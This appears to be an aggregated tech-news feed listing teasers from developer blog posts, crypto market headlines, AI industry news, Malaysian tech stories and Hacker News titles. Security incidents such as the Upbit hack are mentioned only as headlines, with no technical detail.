    Una metodología reproducible para generar software real, limpio y escalable usando agentes LLM orquestados por documentos FRD formales. ` Introducción En los últimos meses he estado aplicando un enfoque de desarrollo basado en FRDs (Functional Requirements Documents) orquestados con apoyo de Inteligencia Artificial para construir backends modernos, limpios y escalables. Este método me permitió crear un backend completo —con CRUD, base de datos, autenticación JWT, migraciones y pruebas unitarias— sin caos, sin improvisación y con código limpio desde el primer commit. Algo importante que descubrí durante este proceso es que comencé usando un FRD gigante, un documento único donde describía todas las fases (boilerplate, base de datos, autenticación, pruebas, etc.). Aunque el docume…  ( 9 min )
    TemplateCAT: A Template Discovery Platform to Find Website Inspiration from 200+ Categories
    Use Cases For Developers: Quickly find a starting point for client projects or personal sites without building from scratch For Designers: Browse design patterns and discover what's trending in different categories For Product Makers: Find pre-built templates to launch landing pages faster when validating ideas As an indie developer working on multiple projects, I was constantly searching for templates across different platforms. I realized there was no centralized place to discover templates by the specific features and styles I needed - so I built one. The platform currently aggregates templates from major website builders, making it easier to compare options and find the perfect starting point for your next project. Visit TemplateCAT.net and start exploring. Whether you need a template for your next SaaS landing page, portfolio site, or just want to browse current design trends, you might find exactly what you're looking for. What features would make template discovery even better? Let me know in the comments! P.S. The name? It's a play on "templates by categories" - but also, cats are great at finding things (allegedly). 🐱  ( 6 min )
    Billiard Fractals: The Infinite Patterns Hidden in a Rectangle
    Complex systems often appear chaotic or incomprehensible, yet closer examination reveals that such complexity can frequently be reduced to a simple underlying mechanism. By systematically removing layers of emergent behavior, one can uncover a fundamental rule or equation from which the entire system originates. While the system described in this article may appear trivial at first glance, the resulting patterns exhibit quasi-fractal behavior that can be analyzed, encoded, and even predicted through symbolic methods. The work presented here was developed independently through direct observation, rather than derived from prior literature. A useful way to motivate this exploration is by analogy with a common physical phenomenon - wave interference. Consider waves on the surface of a river: …  ( 28 min )
    You Don't Know the True Meaning of Retreat Yet
    Background Current State of Business Retreats Are you familiar with business retreats? They are either intensive brainstorming sessions or employee trips with an emphasis on relaxation. Typically, organizations that mostly operate in a fully remote manner gather about once every six months. The specifics vary by organization, but the one constant is that you are always spending time with other members. Usually, there's some kind of curriculum where everyone gathers in a room to work on activities together. Even during free time, there's pressure to engage in conversations, discussions, and interactions with other members. Sure, you can refresh yourself in an extraordinary environment, temporarily distance yourself from work to relax, and deepen relationships with members. But …  ( 8 min )
    FounderForge AI workspace
    FounderForge AI Workspace is a secure, end-to-end encrypted (E2EE) platform purpose-built for entrepreneurs and innovators to accelerate the journey from idea to launch. It combines rapid prototyping tools, structured evaluation frameworks, and real-time feedback loops into a single workspace designed for speed, clarity, and investor readiness. 🔑 Core Value Proposition Rapid Prototyping: Entrepreneurs can quickly scaffold MVPs, mockups, and workflows without heavy technical overhead, enabling fast iteration and testing. Idea Validation: Built-in evaluation templates and AI-driven scoring help founders stress-test assumptions, market fit, and scalability potential. Presentation Feedback: Pitch decks, investor briefs, and workflow specs can be uploaded and refined with AI-powered critique, …  ( 6 min )
    look at this problem once Can we discuss dsa problem here!
    look at this problem suggest in any solution Link  ( 6 min )
    Building Miniviz: A Minimalist BI Platform for IoT PoCs
    What I Built I built Miniviz, a minimalist BI platform to speed up IoT proof-of-concepts (PoCs). https://miniviz.net/ The goal is intentionally simple: Send time-stamped data Store it without heavy setup Visualize it quickly Notify when something crosses a threshold In many PoCs, the pain isn’t the sensor code—it’s everything around it (DB, auth, dashboards, alerts). Miniviz is my attempt to make that “cloud-side glue” thin enough that you can get to a first success fast. In this demo, we'll send a JSON event via curl, check it in the Database view, create a chart, and add an alert — all from a shell terminal, with no Python required. Generate a UNIX timestamp in milliseconds (pure shell): TS=$(($(date +%s%N)/1000000)) Export your credentials: export PROJECT_ID="YOUR_PROJECT_ID" export…  ( 8 min )
    Glass Fiber Create Home on Wheels DIY Guide
    Fiberglass perfectly suits motorhome construction. Produced from fiberglass saturated with polyester or epoxy resin.Because of its unique structure, fiberglass contains lightness, strength, durability, and high resistance to external negative influences.Key properties of fiberglass include:High strength at minimal thickness.A 2 mm fiberglass sheet can be comparable or stronger than 6 mm plywood.Good resistance to moisture and temperature swings.Fiberglass does not absorb moisture, does not rot, swell or crack at high temperatures.Possibility to manufacture complex forms and curved components.Compared to plywood and MDF, fiberglass easily forms any curves and shapes, enabling ergonomic shower trays, rounded furniture edges, and custom parts.Moderate weight. This contributes to reducing the …  ( 9 min )
    How to Pass the Esri ArcGIS Pro Associate Exam (EAPA_2025) with Confidence
    Achieving this certification can significantly enhance career prospects and confirm a candidate's readiness to tackle real-world GIS challenges. Navigating the certification journey requires a structured approach, dedication, and the right resources. This comprehensive guide outlines the key steps and strategies to help individuals confidently pass the Esri ArcGIS Pro Associate exam. The Esri ArcGIS Pro Associate certification signifies a foundational level of expertise in ArcGIS Pro, a powerful desktop GIS application. It is ideal for GIS analysts, technicians, specialists, and students looking to formally validate their skills. This credential not only boosts a professional's resume but also instills confidence in their ability to perform core GIS tasks efficiently. Possessing the Esri A…  ( 11 min )
    Difference Between this and super in Java
    Introduction I would like to explain the difference between this and super in java with proper examples . this ? this is keyword. this keyword refers current class instance variable and instance method . We have to use this in non-static area only otherwise we get error . This is because this keyword is non-static reference variable . this is by default available in instance block , instance method and constructor After creation of object of the current class . if instance variable and local variable name are same and we want to access instance variable then we have to mention this keyword explicitly. What issuper? super is also keywords . super keyword refers Super class instance variable and instance method . We have to mention super keyword in non-static …  ( 8 min )
    what if we had an E2EE AI tool that reduces surveillance and IP theft?
    A post by Ese-Osarumen Efesomwan  ( 6 min )
    Mastering Tariff Code Lookup for International Trade
    Navigating the complexities of international shipping and customs requires a precise understanding of tariff codes. This comprehensive guide demystifies the process of tariff code lookup, explaining its critical importance, the structure of the Harmonized System, and providing a step-by-step methodology for accurate classification to ensure compliance and avoid costly delays. Introduction: The Gateway to Global Commerce What Exactly is a Tariff Code? The structure is logical and hierarchical: The first six digits are universal across all member countries. For example, 1701.99 refers to "Cane or beet sugar and chemically pure sucrose, in solid form; other sugars, including invert sugar; other." The Critical Importance of an Accurate Tariff Code Lookup Determining Duty Rates: The most direct…  ( 10 min )
    Neovim x Unreal Engine: Visualizing Config Inheritance & Jumping to Super Classes [Weekly Update]
    Introduction Hello! I’m a developer who is frantically building plugins to make Neovim the most comfortable environment for Unreal Engine development. My goal is to make Neovim function just like a full-fledged IDE (like Rider or Visual Studio) for UE5. tree-sitter-unreal-cpp This step is mandatory to use the new features. For features like AActor class analysis, the Symbols View, and the new Goto Super (described below) to work correctly, please overwrite your plugin config with the following settings (The Wiki has also been updated): { 'nvim-treesitter/nvim-treesitter', branch = "main", config = function(_, opts) vim.api.nvim_create_autocmd('User', { pattern = 'TSUpdate', callback = function() local parsers = require('nvim-treesitter.parsers') …  ( 9 min )
    What's left for me after AI
    I’m a web developer — not even a particularly good one. I dropped out twice, loved Human Computer Interaction class (I guess now people call it UX?) and learned CSS when most of my friends studied PHP. 24 years later, I'm sitting in front of my screen, trying Claude Opus 4.5 and Gemini 3. It's quite awesome. But then the thought struck me. I never really tried to do anything other than programming. AI is going to take over my job, and I’m already in my 40s wondering if I can even find another one. “No one makes horse-drawn carriages anymore. No one gets paid to shovel horse shit off the streets. Those used to be full-time jobs—people made horse feed, people designed parking lots for carriages. Those jobs just don’t exist anymore. And nobody is out there trying to bring them back.” — Neil d…  ( 7 min )
    The Only Developer Skill That Scales in 2026
    Technical stacks shift. Hiring markets mutate. Tooling obsoletes itself every quarter. The only durable advantage is the ability to convert ambiguity into working systems faster than your peers. That isn’t creativity or talent. It’s process. Define the problem in one sentence. Strip every requirement that doesn't change the outcome. Identify the single constraint that governs the system. Build the minimum artifact that validates your assumption. Iterate only on what breaks. Eliminate everything else. This workflow outperforms brilliance, years of experience, and encyclopedic framework knowledge. It produces momentum anywhere: new jobs, new stacks, new domains. It reduces burnout by removing self-inflicted complexity. It turns pressure into throughput. Developers who internalize this stop chasing hype and stop fearing disruption. They become the stabilizing force teams rely on because they execute predictably in volatile conditions. That’s the multiplier. That’s the leverage.  ( 6 min )
    Seeing Through the Shine: AI That 'Sculpts' 3D from Reflections
    Seeing Through the Shine: AI That 'Sculpts' 3D from Reflections Ever tried to 3D scan a shiny object? The reflections throw everything off, making accurate reconstruction nearly impossible. It's like trying to photograph a ghost – the data is there, but distorted. What if AI could learn to ignore the glint and see the underlying shape, like an artist sculpting clay? This is the core idea behind a new approach to 3D reconstruction. Instead of directly interpreting reflected light, a neural network is trained to translate images into a "clay-like" representation. Think of it as the AI re-imagining the object as if it were made of matte, reflection-free material. This intermediary representation, devoid of confusing specular highlights, provides a much cleaner signal for inferring the objec…  ( 7 min )
    Transform SDK Integration with Monetzly's Smart Ad Solutions
    What if Your AI App Could Generate Revenue in Two Ways Simultaneously? Imagine a world where your AI application not only serves users but also generates revenue through two distinct channels—without compromising user experience. Enter Monetzly, the groundbreaking platform designed to empower developers like you to monetize your AI tools efficiently while seamlessly integrating relevant advertising. In the current landscape of AI applications, monetization can often feel like an uphill battle. Subscriptions, paywalls, and underwhelming ad placements can disrupt user engagement and limit your earning potential. Monetzly shifts the paradigm. Here’s how: Monetize Without Barriers With Monetzly, you can monetize your app without forcing users through paywalls or subscriptions. Instead, you…  ( 7 min )
    How Subtle UI Details Make Your Design Stand Out. Practical Techniques for Modern Interfaces
    How Subtle UI Details Make Your Design Stand Out. Practical Techniques for Modern Interfaces Introduction Most UI layouts today are clean, responsive, and technically sound, but they often lack something crucial: personality. In this article, I’ll show how small aesthetic decisions, like parallax depth, environmental motion, soft textures, and micro-details can make a website feel alive. I’ll use my own portfolio as the example, breaking down exactly how I implemented each detail and why it works. Choosing a Primary UI Concept and Its Supporting Details So how do you actually do that? You start small, you think to yourself, "What am I buiding? What am I trying to portray?" With this picture in mind you can now start deciding which theme will be your main focus and which will…  ( 9 min )
    Java native hack
    配置profile 在子模块中增加 native true org.graalvm.buildtools native-maven-plugin com.github.crazyrunsnail.careportal.module.hospital.CarePortalHospitalApplication process-aot process-aot com.github.crazyrunsnail.careportal.module.hospital.CarePortalHospitalApplication org.projectlombok lombok --> org.springframework.boot--> spring-boot-devtools--> runtime--> true--> --> 运行 mvn -Pnative clean native:compile 增加配置类 MybatisPlusRuntimeHintsRegistrar 和 MyBatisNativeConfiguration 运行 mvn -Pnative clean native:compile  ( 6 min )
    Uma Abordagem Funcional para Domain-Driven Design
    Há algumas semanas, eu defini a meta de aprender TypeScript e desenvolver um produto do zero utilizando tudo o que a linguagem de programação tem a oferecer. Sendo alguém com experiência trabalhando com orientação a objetos, migrar para um ambiente multiparadigma me pareceu bastante interessante. Um dos desafios foi trazer os conceitos aplicados em aplicações C# e .NET para o mundo do Node.js, e um desses conceitos foi o Domain-Driven Design. Explicando de forma breve, Domain-Driven Design, ou DDD, é uma abordagem de desenvolvimento de software que foca na complexidade do domínio de negócio, trazendo-o para o centro do desenvolvimento e buscando aproximar os especialistas desse domínio do processo de criação dos sistemas. Ele te fornece algumas ferramentas para lidar melhor com essa comple…  ( 9 min )
    SwiftUI Animation Masterclass — Springs, Curves & Smooth Motion
    SwiftUI makes animation incredibly easy — but smooth, professional, Apple-quality motion requires a deeper understanding of how timing, springs, and transitions really work. In this masterclass, we’ll cover everything you need to build clean, fluid, modern animations that match the feel of Apple’s own apps. This includes: implicit vs explicit animations spring physics timing curves matchedGeometryEffect phase animations interactive gestures + motion real-world patterns you can reuse Let’s level up your animation game. 🚀 Implicit Animation Changes animate automatically when bound to a state. @State private var scale = 1.0 Circle() .scaleEffect(scale) .animation(.easeInOut(duration: 0.4), value: scale) Just update scale → animation runs. More control — run animation cod…  ( 8 min )
    How I Built a Real-Time, Google Docs-like browser IDE for Python (and it's free!)
    For the past months, I’ve been building PyTogether, an open-sourced, real-time collaborative Python IDE designed specifically for students, education and pair programming purposes. While tools like Replit and VS Code Live Share exist, they often come with significant bloat-paywalls, complex environments, and AI copilots that can actually hinder the learning process for beginners. As a second-year engineering student myself, I wanted to build the opposite: a lightweight, communication-first environment where the code is the focus. The result is a fully free, browser-based IDE with real-time selections, voice/live chat, and shared drawing tools. It currently supports over 500 users. Here is a deep dive into the architecture, the tech stack, and the specific engineering hurdles I faced buil…  ( 8 min )
    **Breaking Down the Cost of Healthcare: Medicare Beneficiaries to Reap Benefits from Falling Drug Prices**
    Breaking Down the Cost of Healthcare: Medicare Beneficiaries to Reap Benefits from Falling Drug Prices The rising cost of prescription medications has been a pressing concern for many Americans, particularly those relying on Medicare for their healthcare coverage. For years, the prices of certain medications have continued to soar, leaving many individuals struggling to afford the treatments they need. However, a recent development is set to bring some much-needed relief to Medicare beneficiaries. A Glimmer of Hope: Discounts on GLP-1 Medications In a significant move, Novo Nordisk, the manufacturer of GLP-1 medications such as Ozempic, has announced that prices for these treatments will be falling sharply in 2027. This news is particularly welcome for Medicare beneficiaries, who have lo…  ( 7 min )
    Why Choose Shopify: a pragmatic guide for devs, founders, and indie hackers
    Hook: the problem and the promise You want to sell online without reinventing core infrastructure: hosting, payments, security, and scaling. Shopify promises to offload those operational burdens so you can iterate on product, UX, and growth with predictable reliability. This article explains why Shopify is worth considering from a technical perspective, what trade-offs you’ll accept, and practical tips to build fast, scalable stores and headless experiences. Shopify is a managed ecommerce platform that combines hosting, a secure checkout, payment integrations, and a rich app ecosystem. For small teams and solo founders, that means less DevOps and faster time-to-market. For engineering teams, it provides APIs to build custom frontends and integrations while keeping the heavy lifting centr…  ( 8 min )
    Installing Ubuntu server for FTP service.
    Cloud computing provides on demand access to computing resources such as servers, storage, databases, and applications over the internet. It enables scalability, flexibility, and cost efficiency compared to traditional on premises infrastructure. In Microsoft Azure, a Resource Group is a logical container that holds related resources for a solution. Virtual machines, databases, storage accounts, and networking components can all be grouped together, making it easier to manage, monitor, and apply policies. Resource groups support lifecycle management (deploy, update, delete), role based access control, and cost tracking. In our exercise, we will demonstrate how to configure FTP server and create resource group, storage account, virtual network, Network Security Group and associate with o…  ( 8 min )
    **The Rise of the Nordic Startup Ecosystem: A Booming Success Story**
    The Rise of the Nordic Startup Ecosystem: A Booming Success Story Introduction The Nordic region, comprising countries such as Sweden, Norway, Denmark, Finland, and Iceland, has long been known for its innovative and entrepreneurial spirit. In recent years, the region has experienced a significant boom in its startup ecosystem, with a surge in the number of successful startups and a growing interest from investors. In this article, we will delve into the factors contributing to this success and explore the opportunities and challenges that lie ahead. A Thriving Ecosystem The Nordic startup ecosystem has been gaining momentum in recent years, with a growing number of successful startups emerging from the region. According to a report by Startup Genome, the Nordic region is home to over 1,…  ( 8 min )
  • Open

    Tether Shuts Down Uruguay Mining Operations Over Energy Tariffs
    The company had planned to invest up to $500 million in Uruguay, but cited high energy prices and regulatory hurdles as reasons for its pullout.
    Brazil’s Economic Center São Paulo to Pilot Blockchain-Based Microloans for Farmers
    The project utilizes a blockchain infrastructure developed with Tanssi's technology, enabling predictable transaction fees and reliability, rather than relying on public blockchains.
    European Asset Manager Amundi Debuts Tokenized Share Class on Ethereum
    The tokenized share class provides investors with blockchain-based access to Amundi’s euro cash fund, enabling faster, round-the-clock trading.
    HBAR Rises 2.5% as Crypto Market Experiences Post-Thanksgiving Boost
    Hedera's token rallies on institutional flows as derivatives positioning shifts bullish across multiple timeframes.
    UK Government to Start Cracking Down on Crypto Tax Avoidance in January
    The U.K. released new guidelines that include rules for crypto exchanges to start providing the British tax authority with full customer information on all their digital assets.
    Bitcoin in Modest Rally Mode After Thanksgiving as December Fed Rate Gets Locked In
    Crypto-related stocks are higher across the board, led by the bitcoin miners.
    Bitcoin Dominance Defies Pattern During 30% Decline, Dropping Instead of Climbing
    A fast 36% reset for bitcoin marked by unusual dominance behavior and a market wide deleveraging.
    Out of Breadth: Crypto Daybook Americas
    Your day-ahead look for Nov. 28, 2025
    Crypto Markets Today: Bitcoin Rebounds, but Downtrend Still Looms
    Bitcoin crept back toward $92,000 as markets slowly recovered from last week’s heavy sell-off, but mounting resistance threatens to keep the broader downtrend intact.
    BlackRock’s Own Income Fund Boosts Bitcoin ETF Holdings 14%
    Strategic Income Opportunities Portfolio expands its allocation to the iShares Bitcoin Trust amid rising institutional demand.
    Crypto Exchange KuCoin's European Arm Wins MiCA License in Austria
    KuCoin EU obtained a Markets in Crypto Assets (MiCA) regulation license in Austria, allowing it to offer regulated services across the EEA.
    Upbit Reveals 5.9B-Won Corporate Loss in Latest Hack, Fully Reimburses Users
    Upbit said it reimbursed all 38.6 billion won in member assets from its reserves.
    Bitcoin and S&P 500 Year-End Bull Run Loading? Vol Metrics Say Yes
    Implied volatility indices tied to bitcoin and the S&P 500 have erased the recent spike, offering bullish price signals.
    Cryptos Steady as BTC Hits Key Fib Level, Traders See Room for $100K but Little Beyond
    Traders have quickly re-priced the macro backdrop as the probability of a 25 bps cut at the upcoming FOMC meeting has surged from 39% to almost 87% in a matter of days.
    South Korea Suspects North Korea-Linked Lazarus Behind $36M Upbit Hack
    On Thursday, South Korea's largest digital asset exchange, Upbit, suspended deposits and withdrawals after detecting unusual activity in the Solana network tokens.
    Solana Traders Hit by Months-Long Browser Malware That Skimmed Every Swap
    Wallet interfaces typically summarize instructions as a single swap, and the bundled transaction executes atomically—meaning users unknowingly sign off on both.
    DOGE Underperforms Majors as Support Failure Confirms Bearish Shift
    The $0.150 level is now a critical support point, with further declines likely if it is breached.
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    XRP needs to reclaim $2.20 and break $2.23–$2.24 to regain upward momentum, as technical indicators remain bearish.
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    The issues began immediately at launch, when transactions failed because the contract contained an incorrect SaleUUID, requiring a 4-of-6 multisig update.
    Asia Morning Briefing: Bitcoin Steadies Near $90,000 Even as ETF Outflows Cap Upside
    Flowdesk and QCP see short covering and dip buying supporting BTC around $90,000, while prediction markets assign low odds of a push toward $96,000.
  • Open

    Anthropic says it solved the long-running AI agent problem with a new multi-session Claude SDK
    Agent memory remains a problem that enterprises want to fix, as agents forget some instructions or conversations the longer they run.  Anthropic believes it has solved this issue for its Claude Agent SDK, developing a two-fold solution that allows an agent to work across different context windows. “The core challenge of long-running agents is that they must work in discrete sessions, and each new session begins with no memory of what came before,” Anthropic wrote in a blog post. “Because context windows are limited, and because most complex projects cannot be completed within a single window, agents need a way to bridge the gap between coding sessions.” Anthropic engineers proposed a two-fold approach for its Agent SDK: An initializer agent to set up the environment, and a coding agent to …
    What to be thankful for in AI in 2025
    Hello, dear readers. Happy belated Thanksgiving and Black Friday! This year has felt like living inside a permanent DevDay. Every week, some lab drops a new model, a new agent framework, or a new “this changes everything” demo. It’s overwhelming. But it’s also the first year I’ve felt like AI is finally diversifying — not just one or two frontier models in the cloud, but a whole ecosystem: open and closed, giant and tiny, Western and Chinese, cloud and local. So for this Thanksgiving edition, here’s what I’m genuinely thankful for in AI in 2025 — the releases that feel like they’ll matter in 12–24 months, not just during this week’s hype cycle. 1. OpenAI kept shipping strong: GPT-5, GPT-5.1, Atlas, Sora 2 and open weights As the company that undeniably birthed the "generative AI" era with …
    Beyond math and coding: New RL framework helps train LLM agents for complex, real-world tasks
    Researchers at the University of Science and Technology of China have developed a new reinforcement learning (RL) framework that helps train large language models (LLMs) for complex agentic tasks beyond well-defined problems such as math and coding.  Their framework, Agent-R1, is compatible with popular RL algorithms and shows considerable improvement on reasoning tasks that require multiple retrieval stages and multi-turn interactions with tools.  The framework is built on a redefinition of the RL paradigm that takes into account the dynamic nature of agentic applications that require interacting with evolving environments and imperfect information. This framing is much more similar to real-world applications and can have important uses for agentic tasks in enterprise settings. Rethinking…
  • Open

    Tips from a Serial Career Changer with GitHub's Andrea Griffiths [Podcast #199]
    Today Quincy Larson interviews Andrea Griffiths, who taught herself programming using freeCodeCamp while working in construction. She moved to the US from Colombia when she was 17, and within 6 months she joined the US Army. She ran a chain of gyms b...  ( 5 min )
  • Open

    The Download: the mysteries surrounding weight-loss drugs, and the economic effects of AI
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. What we still don’t know about weight-loss drugs Weight-loss drugs have been back in the news this week. First, we heard that Eli Lilly, the company behind Mounjaro and Zepbound, became the first…  ( 22 min )
    What we still don’t know about weight-loss drugs
    Weight-loss drugs have been back in the news this week. First, we heard that Eli Lilly, the company behind the drugs Mounjaro and Zepbound, became the first healthcare company in the world to achieve a trillion-dollar valuation. Those two drugs, which are prescribed for diabetes and obesity respectively, are generating billions of dollars in revenue for…  ( 24 min )
  • Open

    SarawakPass To Be Integrated With MyDigital ID In 2026
    Sarawak’s homegrown digital identity platform, SarawakPass, is set to be linked with the federal MyDigital ID system as part of a push toward a seamless national digital identification ecosystem. The move follows a memorandum of understanding (MOU) signed today on 28 November 2025 between the state’s government and the National Cyber Security Agency (Nacsa). State […] The post SarawakPass To Be Integrated With MyDigital ID In 2026 appeared first on Lowyat.NET.  ( 34 min )
    NVIDIA Rumoured To Stop Supplying VRAM With GPUs Amid Global Memory Shortage
    The ongoing global memory shortage appears to be hitting a new and unexpected victim: NVIDIA. The company has benefited massively from the AI boom, but a fresh set of rumours suggests it might now be feeling the squeeze from the very demand surge it helped drive. According to leaker Golden Pig Upgrade on Weibo, NVIDIA […] The post NVIDIA Rumoured To Stop Supplying VRAM With GPUs Amid Global Memory Shortage appeared first on Lowyat.NET.  ( 36 min )
    Euro NCAP Reveals Safety Rating Overhaul For 2026
    Euro NCAP (European New Car Assessment Programme), one of the most well-known independent vehicle safety organisations, has recently announced a series of updates to its testing procedures to better reflect modern driving conditions. These changes are set to take effect from 2026 onwards. According to the organisation, many of the updates are based on feedback […] The post Euro NCAP Reveals Safety Rating Overhaul For 2026 appeared first on Lowyat.NET.  ( 34 min )
    Intel Rumoured To Have Four Nova Lake CPUs With 144MB Of bLLC Cache
    It’s not an understatement to say that AMD’s 3D V-Cache technology has been a critical success and massive hit amongst gamers, the news of them committing seppuku on specific motherboard brands notwithstanding. Intel has clearly been feeling the sting of this, which is probably why there are now rumours of the brand making Nova Lake […] The post Intel Rumoured To Have Four Nova Lake CPUs With 144MB Of bLLC Cache appeared first on Lowyat.NET.  ( 34 min )
    AirDrop-Supported Quick Share Breaks WiFi On Pixel 10 Devices
    Last week, Google announced that it has added support for AirDrop to Quick Share, allowing for Android and iOS users to seamlessly transfer files. However, Pixel 10 users have quickly discovered a problem with the feature. More specifically, their devices would lose WiFi connectivity. On Google’s support forum, user JayMZ reported that after updating to […] The post AirDrop-Supported Quick Share Breaks WiFi On Pixel 10 Devices appeared first on Lowyat.NET.  ( 33 min )
    JPJ: MyDigital ID To Be Sole Login Method On App Starting February 2026
    The Road Transport Department (JPJ) has announced a major update to the login method for the MyJPJ platform. Starting 1 February 2026, all users aged 18 and above will be required to sign in via MyDigital ID. This transition will phase out the existing username-and-password login option for adult users. According to the department, the […] The post JPJ: MyDigital ID To Be Sole Login Method On App Starting February 2026 appeared first on Lowyat.NET.  ( 34 min )
    No More Approvals For Tier 1 And Tier 2 Data Centres In Johor
    Johor’s emergence as the nation’s data centre hub has taken a toll on the state’s water supply. Amid such concerns, the Johor government has declared that it will no longer approve Tier 1 and Tier 2 data centres. These data centres are categorised as high water users, guzzling roughly 200 times more water than Tier […] The post No More Approvals For Tier 1 And Tier 2 Data Centres In Johor appeared first on Lowyat.NET.  ( 35 min )
    Leapmotor Launches New B05 EV In China
    Leapmotor has officially launched its new B05 fully electric hatchback in its domestic market, where it is also known as the Lafa 5. The debut confirms details previously reported on both the exterior and interior, while also revealing the full variant lineup for China, which comprises five options: 515 Plus, 515 Pro, 515 Max, 605 […] The post Leapmotor Launches New B05 EV In China appeared first on Lowyat.NET.  ( 35 min )
    Samsung Pay Now Works For Online Purchases In Malaysia
    Samsung Pay now works with a broad network of e-commerce merchants in Malaysia, including Samsung’s own online store. Samsung enabled this through a collaboration with payment service provider Fiuu. The move aims to push Samsung’s wallet feature beyond walk-in stores and deeper into the fast-growing online shopping space, with Fiuu powering the backend that makes […] The post Samsung Pay Now Works For Online Purchases In Malaysia appeared first on Lowyat.NET.  ( 34 min )
    LLM Debuts TuJu Highway Navigation App With Toll And R&R Info
    The Malaysian Highway Authority (LLM) has recently launched its answer to Waze and Google Maps. Developed in collaboration with Prosignal Consortium Sdn Bhd, the TuJu Highway Navigation App is available for download via the Apple App Store and the Google Play Store. As with any navigation app, TuJu comes with the usual fare of features. […] The post LLM Debuts TuJu Highway Navigation App With Toll And R&R Info appeared first on Lowyat.NET.  ( 35 min )
    Italian Retailer Accidentally Sold iPad Airs For US$17 And Now Wants Them Back
    Earlier this month, an Italian online retail store named MediaWorld made a rather epic snafu: It accidentally labelled the 13-inch iPad Air units it was selling for US$17 (~RM70), instead of the average RM3,699 that it typically cost. Naturally, several eagle-eyed customers noticed the pricing and swooped in to snag their unit(s) of the 13-inch […] The post Italian Retailer Accidentally Sold iPad Airs For US$17 And Now Wants Them Back appeared first on Lowyat.NET.  ( 35 min )
    Another MSI RTX 5090 12VHPWR Ports Burns Out, This Time Fusing Itself To The GPU
    Another month, another melted 12VHPWR adapter on an RTX 5090 and more specifically, an MSI RTX 5090. In this most recent tale of burnt-out adapter, the head didn’t just fizzle: it fused together with the power port of the GPU. The post of the affected MSI RTX 5090 was first posted on Reddit by Redditor […] The post Another MSI RTX 5090 12VHPWR Ports Burns Out, This Time Fusing Itself To The GPU appeared first on Lowyat.NET.  ( 35 min )
    Steam Hosts First-Ever Black Friday Sale; Discounts Galore
    Valve is hosting its Black Friday sales on Steam, making it the first time the digital distributor and video game market has ever had a sale on said day. To be fair, it does put a very public disclaimer in the form of an asterisk on its call-to-arms for gamers to shop. Whatever the case, […] The post Steam Hosts First-Ever Black Friday Sale; Discounts Galore appeared first on Lowyat.NET.  ( 34 min )
    MAE App: Celebrating Five Years Of Digital Banking Excellence
    Ever since its launch, Maybank’s MAE app has been helping Malaysians take care of all their digital banking needs. And for five years and counting, the banking service has grown exponentially, keeping up with both the needs and wants of its customers. Since its inception to today, the app now hosts a wide variety of […] The post MAE App: Celebrating Five Years Of Digital Banking Excellence appeared first on Lowyat.NET.  ( 40 min )

  • Open

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    ML-KEM Mythbusting
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    Vsora Jotunn-8 5nm European inference chip
    Comments  ( 9 min )
    Show HN: Whole-home VPN router with hardware kill switch (OpenWrt and WireGuard)
    Comments  ( 39 min )
    250MWh 'Sand Battery' to start construction in Finland
    Comments  ( 10 min )
    A Programmer-Friendly I/O Abstraction Over io_uring and kqueue
    Comments  ( 8 min )
    FileZilla Pro "Perpetual License" – A Warning to All Users
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    Underrated reasons to be thankful V
    Comments  ( 6 min )
    LinkedIn is loud, and corporate is hell
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    DeepSeekMath-V2: Towards Self-Verifiable Mathematical Reasoning [pdf]
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    Replace your boss before they replace you
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    Cherry gives up German production and wants to sell core division
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    The Input Stack on Linux: An End-to-End Architecture Overview
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    Seagate achieves 6.9TB storage capacity per platter
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    Pakistan says rooftop solar output to exceed grid demand in some hubs next year
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    Same-day upstream Linux support for Snapdragon 8 Elite Gen 5
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    Face transplants promised hope. Patients were put through the unthinkable
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    GitLab discovers widespread NPM supply chain attack
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    Protect Public School Students from Surveillance of Off-Campus Speech
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    We're Losing Our Voice to LLMs
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    Show HN: SyncKit – Offline-first sync engine (Rust/WASM and TypeScript)
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    Show HN: Runprompt – run .prompt files from the command line
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    TPUs vs. GPUs and why Google is positioned to win AI race in the long term
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    Show HN: MkSlides – Markdown to slides with a similar workflow to MkDocs
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    The State of GPL Propagation to AI Models
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    We are all mosaics: genetic diversity found between cells in a single person
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    C64 Burrow.BAS
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    Show HN: Spikelog – A simple metrics service for scripts, cron jobs, and MVPs
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    How Arthur Conan Doyle Explored Men's Mental Health Through Sherlock Holmes
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    DNS Firewalling with MISP and Technitium DNS Server
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    Ray Marching Soft Shadows in 2D
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    Mixpanel Security Breach
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    The Nerd Reich – Silicon Valley Fascism and the War on Democracy
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    Linux Kernel Explorer
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    Last Issue of "ECMAScript News"
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    Principles of Vasocomputation
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    Show HN: Era – Open-source local sandbox for AI agents
    Comments  ( 15 min )
    Evaluating Uniform Memory Access Mode on AMD's Turin
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    Tell HN: Happy Thanksgiving
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    $96M AUD revamp of Bom website bombs out on launch
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    Music eases surgery and speeds recovery, study finds
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    Coq: The World's Best Macro Assembler? [pdf]
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    DIY NAS: 2026 Edition
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    Green Card Interviews End in Handcuffs for Spouses of U.S. Citizens
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    Penpot: The Open-Source Figma
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    Functional Data Structures and Algorithms: a Proof Assistant Approach
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    Migrating the Main Zig Repository from GitHub to Codeberg
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    The Tesla Model Y Just Scored the Worst Reliability Rating in a Decade
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    Bonsai_term: A library for building dynamic terminal apps by Jane Street
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    DSP 101 Part 1: An Introductory Course in DSP System Design
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    AdBlock and Signal are for terrorists, according to the French government [video]
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    Crypto hoarders dump tokens as shares tumble
    Comments  ( 8 min )
  • Open

    Designing High-Performance Fintech SaaS with Redis and CDNs
    Designing High-Performance Fintech SaaS with Redis and CDNs A practical, junior-friendly guide using AWS, Kubernetes, and Nginx When I talk to teams building fintech or SaaS products, the conversation usually starts with features: “We need virtual cards.” “We need real-time notifications.” “We need a new reporting dashboard.” But most users only really notice one thing: speed. A payment confirmation screen that spins for 7–8 seconds, A dashboard that feels sluggish on mobile data, An app that occasionally “hangs” during peak hours. In finance, that’s not just annoying – it quietly erodes trust. If the app feels slow or unreliable, users wonder whether their money is safe, not whether your Kubernetes manifests are clean. In this article, I’ll walk through how I think about performance in…  ( 14 min )
    GA4 Custom Segments That Actually Matter: 7 Configurations Most Marketers Overlook
